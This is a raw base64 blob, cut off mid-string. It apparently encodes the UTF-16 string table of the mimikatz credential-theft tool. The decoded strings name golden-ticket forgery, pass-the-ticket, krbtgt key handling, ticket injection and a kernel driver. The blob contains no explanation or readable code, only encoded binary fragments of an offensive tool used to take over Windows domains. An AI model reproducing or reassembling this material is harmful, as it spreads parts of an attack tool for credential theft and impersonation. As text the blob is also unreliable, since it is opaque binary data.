AEQwE8AEHC0ARBEtAEQR08AEDi0ARAYtAEQz1MAEAi0ARDgswEQ2F0AENSzARCoswEQMGMAEKCzARB0swEQVWMAEGizARAgswEQELUBEOC0ARDctAEQCAAAAECiARBnTAAQmEwAEFwALwA6ACoAPwAiADwAPgB8AAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAOwAgAEQAZQB2AGkAYwBlAEkAbwBDAG8AbgB0AHIAbwBsACAAKAAwAHgAJQAwADgAeAApACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFwAXAAuAFwAbQBpAG0AaQBkAHIAdgAAAGEAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABRAFcATwBSAEQAAABSAEUAUwBPAFUAUgBDAEUAXwBSAEUAUQBVAEkAUgBFAE0ARQBOAFQAUwBfAEwASQBTAFQAAAAAAEYAVQBMAEwAXwBSAEUAUwBPAFUAUgBDAEUAXwBEAEUAUwBDAFIASQBQAFQATwBSAAAAAABSAEUAUwBPAFUAUgBDAEUAXwBMAEkAUwBUAAAATQBVAEwAVABJAF8AUwBaAAAAAABMAEkATgBLAAAAAABEAFcATwBSAEQAXwBCAEkARwBfAEUATgBEAEkAQQBOAAAAAABEAFcATwBSAEQAAABCAEkATgBBAFIAWQAAAAAARQBYAFAAQQBOAEQAXwBTAFoAAABTAFoAAAAAAE4ATwBOAEUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAUwBlAHIAdgBpAGMAZQBzAEEAYwB0AGkAdgBlAAAAAABcAHgAJQAwADIAeAAAAAAAMAB4ACUAMAAyAHgALAAgAAAAAAAlADAAMgB4ACAAAAAlADAAMgB4AAAAAAAKAAAAJQBzACAAAAAlAHMAAAAAACUAdwBaAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFQAbwBrAGUAbgAAAAoAIAAgAC4AIwAjACMAIwAjAC4AIAAgACAAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADAAIABhAGwAcABoAGEAIAAoAHgAOAA2ACkAIAByAGUAbABlAGEAcwBlACAAIgBLAGkAdwBpACAAZQBuACAAQwAiACAAKABGAGUAYgAgADEANgAgADIAMAAxADUAIAAyADIAOgAxADcAOgA1ADIAKQAKACAALgAjACMAIABeACAAIwAjAC4AIAAgAAoAIAAjACMAIAAvACAAXAAgACMAIwAgACAALwAqACAAKgAgACoACgAgACMAIwAgAFwAIAAvACAAIwAjACAAIAAgAEIAZQBuAGoAYQBtAGkAbgAgAEQARQBMAFAAWQAgAGAAZwBlAG4AdABpAGwAawBpAHcAaQBgACAAKAAgAGIAZQBuAGoAYQBtAGkAbgBAAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAgACkACgAgACcAIwAjACAAdgAgACMAIwAnACAAIAAgAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAvAG0AaQBtAGkAawBhAHQAegAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAbwBlAC4AZQBvACkACgAgACAAJwAjACMAIwAjACMAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcAaQB0AGgAIAAlADIAdQAgAG0AbwBkAHUAbABlAHMAIAAqACAAKgAgACoALwAKAAoAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACgAcABvAHcAZQByAHMAaABlAGwAbAApACAAIwAgACUAcwAKAAAASQBOAEkAVAAAAAAAQwBMAEUAQQBOAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKACUAMQA2AHMAAAAgACAALQAgACAAJQBzAAAAIAAgAFsAJQBzAF0AAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAoATQBvAGQAdQBsAGUAIAA6AAkAJQBzAAAAAAAKAEYAdQBsAGwAIABuAGEAbQBlACAAOgAJACUAcwAAAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAJACUAcwAAAEtlcmJlcm9zAAAAAHUAcwBlAHIAAAAAAHMAZQByAHYAaQBjAGUAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0AHMAIABpAG4AIABNAEkAVAAvAEgAZQBpAG0AZABhAGwAbAAgAGMAYwBhAGMAaABlAAAAYwBsAGkAcwB0AAAAUABhAHMAcwAtAHQAaABlAC0AYwBjAGEAYwBoAGUAIABbAE4AVAA2AF0AAABwAHQAYwAAAEgAYQBzAGgAIABwAGEAcwBzAHcAbwByAGQAIAB0AG8AIABrAGUAeQBzAAAAaABhAHMAaAAAAAAAVwBpAGwAbAB5ACAAVwBvAG4AawBhACAAZgBhAGMAdABvAHIAeQAAAGcAbwBsAGQAZQBuAAAAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAHAAdQByAGcAZQAAAFIAZQB0AHIAaQBlAHYAZQAgAGMAdQByAHIAZQBuAHQAIABUAEcAVAAAAAAAdABnAHQAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAKABzACkAAAAAAGwAaQBzAHQAAAAAAFAAYQBzAHMALQB0AGgAZQAtAHQAaQBjAGsAZQB0ACAAWwBOAFQAIAA2AF0AAAAAAHAAdAB0AAAAAAAAAEsAZQByAGIAZQByAG8AcwAgAHAAYQBjAGsAYQBnAGUAIABtAG8AZAB1AGwAZQAAAGsAZQByAGIAZQByAG8AcwAAAAAAAAAAACUAMwB1ACAALQAgAEQAaQByAGUAYwB0AG8AcgB5ACAAJwAlAHMAJwAgACgAKgAuAGsAaQByAGIAaQApAAoAAABcACoALgBrAGkAcgBiAGkAAAAAAFwAAAAgACAAIAAlADMAdQAgAC0AIABGAGkAbABlACAAJwAlAHMAJwAgADoAIAAAACUAMwB1ACAALQAgAEYAaQBsAGUAIAAnACUAcwAnACAAOgAgAAAAAABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABMAHMAYQBDAGEAbABsAEsAZQByAGIAZQByAG8AcwBQAGEAYwBrAGEAZwBlACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABLAGUAcgBiAGUAcgBvAHMAIABUAEcAVAAgAG8AZgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAOgAgAAAAAAAKAAoACQAqACoAIABTAGUAcwBzAGkAbwBuACAAawBlAHkAIABpAHMAIABOAFUATABMACEAIABJAHQAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACAAKgAqAAoAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABlAHgAcABvAHIAdAAAAAAACgBbACUAMAA4AHgAXQAgAC0AIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAKACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAAAIAA7ACAAAAAKACAAIAAgAFMAZQByAHYAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAKACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAoAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAawBpAHIAYgBpAAAACgAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAAB0AGkAYwBrAGUAdAAuAGsAaQByAGIAaQAAAAAAdABpAGMAawBlAHQAAAAAAGEAZABtAGkAbgAAAGQAbwBtAGEAaQBuAAAAAABzAGkAZAAAAGQAZQBzAAAAcgBjADQAAABrAHIAYgB0AGcAdAAAAAAAYQBlAHMAMQAyADgAAAAAAGEAZQBzADIANQA2AAAAAAB0AGEAcgBnAGUAdAAAAAAAaQBkAAAAAABnAHIAbwB1AHAAcwAAAAAAMAAAAHMAdABhAHIAdABvAGYAZgBzAGUAdAAAADUAMgA1ADYAMAAwADAAAABlAG4AZABpAG4AAAByAGUAbgBlAHcAbQBhAHgAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAKAFMASQBEACAAIAAgACAAIAAgACAAOgAgACUAcwAKAFUAcwBlAHIAIABJAGQAIAAgACAAOgAgACUAdQAKAAAAAABHAHIAbwB1AHAAcwAgAEkAZAAgADoAIAAqAAAAJQB1ACAAAAAKAFMAZQByAHYAaQBjAGUASwBlAHkAOgAgAAAAIAAtACAAJQBzAAoAAAAAAFMAZQByAHYAaQBjAGUAIAAgACAAOgAgACUAcwAKAAAAVABhAHIAZwBlAHQAIAAgACAAIAA6ACAAJQBzAAoAAABMAGkAZgBlAHQAaQBtAGUAIAAgADoAIAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAtAD4AIABUAGkAYwBrAGUAdAAgADoAIAAlAHMACgAKAAAAAAAKAEcAbwBsAGQAZQBuACAAdABpAGMAawBlAHQAIABmAG8AcgAgACcAJQBzACAAQAAgACUAcwAnACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIABzAHUAYgBtAGkAdAB0AGUAZAAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4ACgAAAAAACgBGAGkAbgBhAGwAIABUAGkAYwBrAGUAdAAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAQwByAGUAZAAgAGUAcgByAG8AcgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAlAHUAIAAoACUAdQAgAGIAeQB0AGUAcwApACAAZgBvAHIAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABsAG8AYwBhAHQAZQAgAEMAcgB5AHAAdABvAFMAeQBzAHQAZQBtACAAZgBvAHIAIABFAFQAWQBQAEUAIAAlAHUAIAAoAGUAcgByAG8AcgAgADAAeAAlADAAOAB4ACkAIAAtACAAQQBFAFMAIABvAG4AbAB5ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABvAG4AIABOAFQANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGsAcgBiAHQAZwB0ACAAawBlAHkAIABhAHIAZwB1AG0AZQBuAHQAIAAoAC8AcgBjADQAIABvAHIAIAAvAGEAZQBzADEAMgA4ACAAbwByACAALwBhAGUAcwAyADUANgApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFMASQBEACAAcwBlAGUAbQBzACAAaQBuAHYAYQBsAGkAZAAgAC0AIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABTAEkARAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAACAAKgAgAFAAQQBDACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAFAAQQBDACAAcwBpAGcAbgBlAGQACgAAAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZQBuAGMAcgB5AHAAdABlAGQACgAAACAAKgAgAEsAcgBiAEMAcgBlAGQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AXwBkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAGMAcgB5AHAAdAAgACUAMAA4AHgACgAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAYwBvAHUAbgB0AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AaABhAHMAaAAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAACgBQAHIAaQBuAGMAaQBwAGEAbAAgADoAIAAAAAoACgBEAGEAdABhACAAJQB1AAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAAkAKgAgACUAdwBaACAAZQBuAHQAcgB5AD8AIAAqAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAYwBjAGEAYwBoAGUAIAB2AGUAcgBzAGkAbwBuACAAIQA9ACAAMAB4ADAANQAwADQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAQQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABmAGkAbABlAG4AYQBtAGUAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAAAlAHUALQAlADAAOAB4AC4AJQBzAAAAAAByAGUAcwBlAHIAdgBlAGQAAAAAAGYAbwByAHcAYQByAGQAYQBiAGwAZQAAAGYAbwByAHcAYQByAGQAZQBkAAAAcAByAG8AeABpAGEAYgBsAGUAAABwAHIAbwB4AHkAAABtAGEAeQBfAHAAbwBzAHQAZABhAHQAZQAAAAAAcABvAHMAdABkAGEAdABlAGQAAABpAG4AdgBhAGwAaQBkAAAAcgBlAG4AZQB3AGEAYgBsAGUAAABpAG4AaQB0AGkAYQBsAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAbwBrAF8AYQBzAF8AZABlAGwAZQBnAGEAdABlAAAAAAA/AAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAACgAJACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAoACQAgACAAIABTAGUAcgB2AGkAYwBlACAATgBhAG0AZQAgAAAAAAAKAAkAIAAgACAAVABhAHIAZwBlAHQAIABOAGE